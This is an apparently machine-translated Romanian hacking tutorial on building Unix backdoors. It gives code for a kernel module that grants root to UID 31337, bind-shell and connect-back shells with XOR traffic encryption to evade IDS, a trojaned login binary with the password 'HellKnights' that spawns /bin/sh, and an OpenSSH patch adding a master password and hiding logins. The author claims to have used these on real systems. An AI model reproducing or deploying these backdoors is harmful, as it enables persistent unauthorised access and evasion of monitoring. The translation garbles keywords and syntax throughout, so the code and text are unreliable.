Nix spate în detaliu

Iată planul pentru munca noastră:

  1. Introducere în Backdoors
  2. Scrierea backdoors
  3. Răzbunarea Daemonilor
  4. Alte aspecte ale "backdooring"

Din moment ce am promis să vorbesc despre nix-backdoors, nu voi pierde prețios






timp - să mergem!

Backside-urile din sistemul UNIX pot fi împărțite în două tipuri:

Fiecare dintre aceste două tipuri poate fi împărțit în mai multe. Telecomandă de la distanță
Este un backdoor care poate furniza coajă la mașină de la distanță, locală
backdoor - backdoor, care va oferi anumite privilegii la nivel local. Pe scurt,
spune "câteva cuvinte" nu va funcționa și dacă sunteți încă treaz, atunci vă sugerez
pentru a înțelege mai multe.

Backdoor local - backdoor local

/ * UID_CHANGER BackDoor 4 Linux 2.4.x de _1nf3ct0r_ * /
#define __KERNEL__
#define MODULE
#include
#include
#include
#include
#include
#include

int new_setuid (uid_t);
int (* real_setuid) (uid_t);
void extern * sys_call_table [];

int init_module ()
înregistra modul struct * mp asm ("$ ebx");
* (caractere *) (mp-> nume) = 'd'; * char (char *) (mp-> nume + 1) = 's';
* (char *) (mp-> nume + 2) = '2'; * caracter (char *) (mp-> nume + 3) = '\ 0';
real_setuid = sys_call_table [SYS_setuid];
sys_call_table [SYS_setuid] = (void *) new_setuid;
retur 0;
>

int int cleanup_module ()
dacă (uid == 31337)
curent -> uid = 0; curent -> gid = 0;
curent -> euid = 0; curent-> egid = 0
retur 0;
>
retur (* real_setuid) (uid);
>
MODULE_LICENSE ("GPL");

Dacă sunteți interesat de acest subiect (non-kernel # 038; LKM rootkits), sfătuiesc
citiți articolul meu despre "Trojanizarea lui Tux - Operațiunea TuksKit". Acum despre eliminat
spate 😉

Backdoor de la distanță - backdoor de la distanță

Acest tip de backdoor este cel mai comun. Ele pot fi împărțite în două subtipuri - "Bind
Shell "și" Connect Back. "Ambele diferă în principiu
furnizarea accesului în shell. Vom dezasambla prin exemple.

Hackerul a reușit să execute comanda printr-un script php php (așa cum a făcut - nu
esența este importantă) și, prin urmare, nu a primit privilegiile nimănui. O jumătate din hackeri
folosește shell-urile PHP (acestea sunt convenabile pentru mine doar pentru navigarea pe sistem) și
cealaltă jumătate este mai degrabă consola (eu sunt una dintre acestea). În prima jumătate a anului
problemele nu apar (modul sigur, etc. - nu se ia în considerare) - a încărcat shell-ul, numit-o
oarecum config.php, pune-l departe și așteptați până când administratorul o găsește ... A
a doua jumătate va face acest lucru (să spunem că există wget, perl, fără filtrare
nu ... backdoor - bindshell.pl, configurat pentru portul 4000):

Backdoor-ul este descărcat. Apoi, o rulați (perl) și se poate conecta la
Portul 40000, obțineți o coajă completă și folosiți consola :)) - acesta este BindShell. dar
se pare că nu este nimic. Dar această metodă are loc numai când firewall-ul nu se taie
legătura cu roaba. "Și dacă se va reduce, cum vom eluda firewall-ul", întrebiți.
atunci nu vom folosi spatele Bind Shell, dar ... corect, Connect Back -
backdoors, care ocolește firewall-ul conform următorului principiu: backdoor-ul se va încerca singur
se va conecta la client, care asculta portul nth (sa zicem, acelasi netcat) si
prin aceasta, ocolind paravanul de protecție. Un mic remake al ultimului exemplu - să spunem că există
wget, gcc, fără filtrare (backdoor - connectback.c, configurat la 4000
port):

nc-1-p4000 sau nc-vv-1-p4000

Dar aceasta nu este doar o backdoor nimănui. Roțile din spate nu sunt foarte diferite de
nimeni nu-backdoors, dar totuși ne vom uita la ei un pic mai departe;). În acest sens, poate,
toate. Am examinat elementele de bază ale utilizării * nix-backdoors, cred că problemele nu sunt
rămâne, după cum sa spus totul în detaliu. Să mergem la unul mai serios -
scrierea backdoors avansate folosind criptarea traficului,
Tehnologiile ICMP-WakeUp, tehnologiile de ascundere a backdoor-ului de la IDS etc. În general, nu
atârnă nasul, lucrurile grozave ne așteaptă 🙂

Să analizăm backdoor-ul traficului Nobody Bind-Shell XORing.

Orice administrator competent nu va avea încredere deplină în niciunul dintre ele
antivirus pentru nicks sau IDS pentru a căuta rootkituri (de exemplu, chrootkit, rkhunter),






pentru a găsi în sistemul de rootkit sau backdoor - va recurge la ajutor sniffers și IDS
(același Snort) care urmărește traficul. De la IDS poți să te ocupi, dar de la
snibra - nikudy. Ce ar trebui să fac? Utilizați criptarea traficului! Pentru asta poți
utilizați algoritmi diferiți de criptare a traficului - BlowFish, TwoFish, xTea, IDEA
sau același XOR. Vom scrie o astfel de backdoor cu tine imediat! Dar nu uitați,
că și cel mai prost admin va observa o scurgere de trafic gigabyte 🙂

În primul rând, scrieți backdoor TCP XORing, o backdoor care corupe datele
server pentru client pentru a ascunde traficul de la IDS și coajă obligatorie pe specificat
portuare. Codul nostru XOR de criptare va fi declarat constant (cod const =
0x07;), iar portul va fi legat la portul 31337 (port = 31337) - caz în care -
Uită-te la sursă. Primul lucru pe care trebuie să-l faci în backdoor ... nu, nu declară inkludy
și variabilele și să scrie o funcție de intrare / ieșire care să transfere date de la
comandă a clientului:

Aceasta, desigur, nu este întreaga funcție I / O, doar o bucată de cod care
trebuie să fiți atenți :). Așa cum am menționat mai sus, principalul lucru în spate,
folosind criptarea codării și decodificării traficului serverului și
client, codul pe care îl scriem acum:

Am cripta datele înainte de trimitere (const code = 0x07;):

pentru (i = 0; i * (bufs + i) ^ = cod;
dacă (scrie (sock2, bufs, lentilă)<0) break;

Dar decodarea datelor se va face astfel:

pentru (i = 0; i * (bufs + i) ^ = cod;
dacă scrieți (pipe1 [1], bufs, lens)<0) break;

Mai mult, totul este foarte simplu:

  • Trimiteți partea de server a parolei la conectarea cu clientul
  • După ce a primit parola râvnit, partea serverului este acceptată pentru verificarea sa
  • Apoi, backdoorul nostru va asculta portul 31337 și când se va conecta la el
    va porni shell-ul (implicit - / bin / sh), totul este greșit
    dificil, crede-mă 🙂

După ce am scris partea de server a backdoor-ului, trebuie să scriem
client - unde se află fără ea? Totul va funcționa conform următorului principiu:

Partea clientului este pornită cu parametrii [Protocolul TCP / UDP] [Host] [Port]
[Password]. Apoi, ne vom conecta la server:

dacă (pr) // TCP
dacă (conectați (sock, (struct sockaddr *) Păcatul, sz)<0) perror ("[-] conectare ()"); // Bummer 🙁
ieșire (0);

și dacă nu înțelegem "Bummer :(", atunci du-te la etapa următoare - verificați
parola părții de server. Asta e tot! Dacă trecerea este corectă - suntem conectați. Apoi, din nou
du-te criptarea și decriptarea f-ii și sfârșitul codului:

// Criptați datele ...
pentru (i = 0; i * (bufs + i) ^ = cod;
dacă (pr) lens = scrie (șosete, bufe, lentile); // Citiți
altul obiectiv = sendto (șosete, bufe, lentilă, 0, (struct sockaddr *) # 038; sin, sz); //
navă
printf ("citire / trimitere \ n");
dacă (obiectiv<0) // Облом ;(
// ...
// Decodați datele
pentru (i = 0; i * (bufs + i) ^ = cod;
dacă (scrie (1, bufs, lentilă)<0)
// ...

În general, totul funcționează ca un ceas - criptăm datele - trimiteți-l la decriptare
de la client la server și invers. Restul sunt funcții standard ale backdoor-ului. eu
Cred că totul este clar aici - este suficient să cunoaștem elementele de bază ale programării și
restul este clar intuitiv ...

Demonii demn? Este ușor!

De asemenea, una dintre cele mai populare metode de "backdooring" este rifting
demonii 😉

- ImapD / Qpopd / Login - Troian

Acum vom scrie cu tine backdoor pentru imapd / qpopd / login - un demon care cere
treceți timp de 3 secunde, folosind parola "HellKnights" pentru a vă conecta la sistem.

#define REALPATH "/bin/.login" //
Calea reală spre daemon, prin conectare implicită
#define TROJAN "/ bin / login" // Calea către troian
#define PASS "HellKnights" // parola Troian
char ** execute;
char passwd [7];
int principal (int argc, char * argv []) void conexiune ();
semnal (SIGALRM, conexiune);
alarma (3); // Termen limită pentru introducerea permisului
execute = argv;
* execute = TROJAN;
scanf ("% s", passwd);
dacă (strcmp (passwd, PASS) == 0) alarma (0);
execl ("/ bin / sh", "/ bin / sh", "- i", 0); // Comandă
apelant interpret
ieșire (0);
>
altfel
execv (REALPATH, executare);
ieșire (0);
>
>
conexiune nevalidă ()
execv (REALPATH, executare);
ieșire (0);
>

Trojanizând daemonul SSH ca o backdoor

Deci ... Determinați versiunea daemonului ssh (pe shell-ul meu - OpenSSH 3.7.1) și descărcați
codul sursă. Deschideți auth-passwd.c, va exista ceva de genul:

...
char * encrypted_password = xcrypt (parola, (pw_password [0] # 038; # 038; pw_password [1])?
pw_password. "Xx"); / * cod responsabil pentru
parola hashing * /
retur (strcmp (encrypted_password, pw_password)) # 038; # 038; OK; / *
Ne construim aici * /
...
int / * Apare f-tion login_login (), pe care noi
vom pierde * /
login_login (struct logininfo * li)
<
li-> type = LTYPE_LOGIN;
întoarcere login_write (li);
>
...
int / * Apoi vine funcția login_logout (), pe care noi
vom pierde * /
login_logout (struct logininfo * li)
<
li-> type = LTYPE_LOGIN;
întoarcere login_write (li);
>

Și o schimbăm așa:

int nolog;
nolog: extern / * descrie variabila la începutul codului
* /
...
dacă (strcmp (parola, "hellknights") == 0) nolog = 1;
char * encrypted_password = xcrypt (parola, (pw_password [0] # 038; # 038; pw_password [1])?
pw_password. "Xx");
...
/ * Trojanizați f -tion login_login ()
* /
int
login_login (struct logininfo * li)
<
dacă (nolog == 1)
altfel
<
li-> type = LTYPE_LOGIN;
returnați login_write (li);>
>
...
int / * Trojanizează funcția login_logout ()
* /
login_logout (struct logininfo * li)
<
dacă (nolog == 1)
altfel
<
li-> type = LTYPE_LOGIN;
returnați login_write (li);>
>

După un astfel de proces, vom fi complet invizibili în sistem, dar IDS,
urmărirea integrității fișierelor (precum Tripwire) va detecta imediat o astfel de backdoor.
De asemenea, vom străluci în coli netstat și nu putem trece de firewall, dar sincer
spunând, am folosit această metodă de mai multe ori pe sistemele în care Tripwire și
toate au trecut pe "ura!"

Distribuiți acest articol cu ​​prietenii dvs.:







Articole similare

Trimiteți-le prietenilor: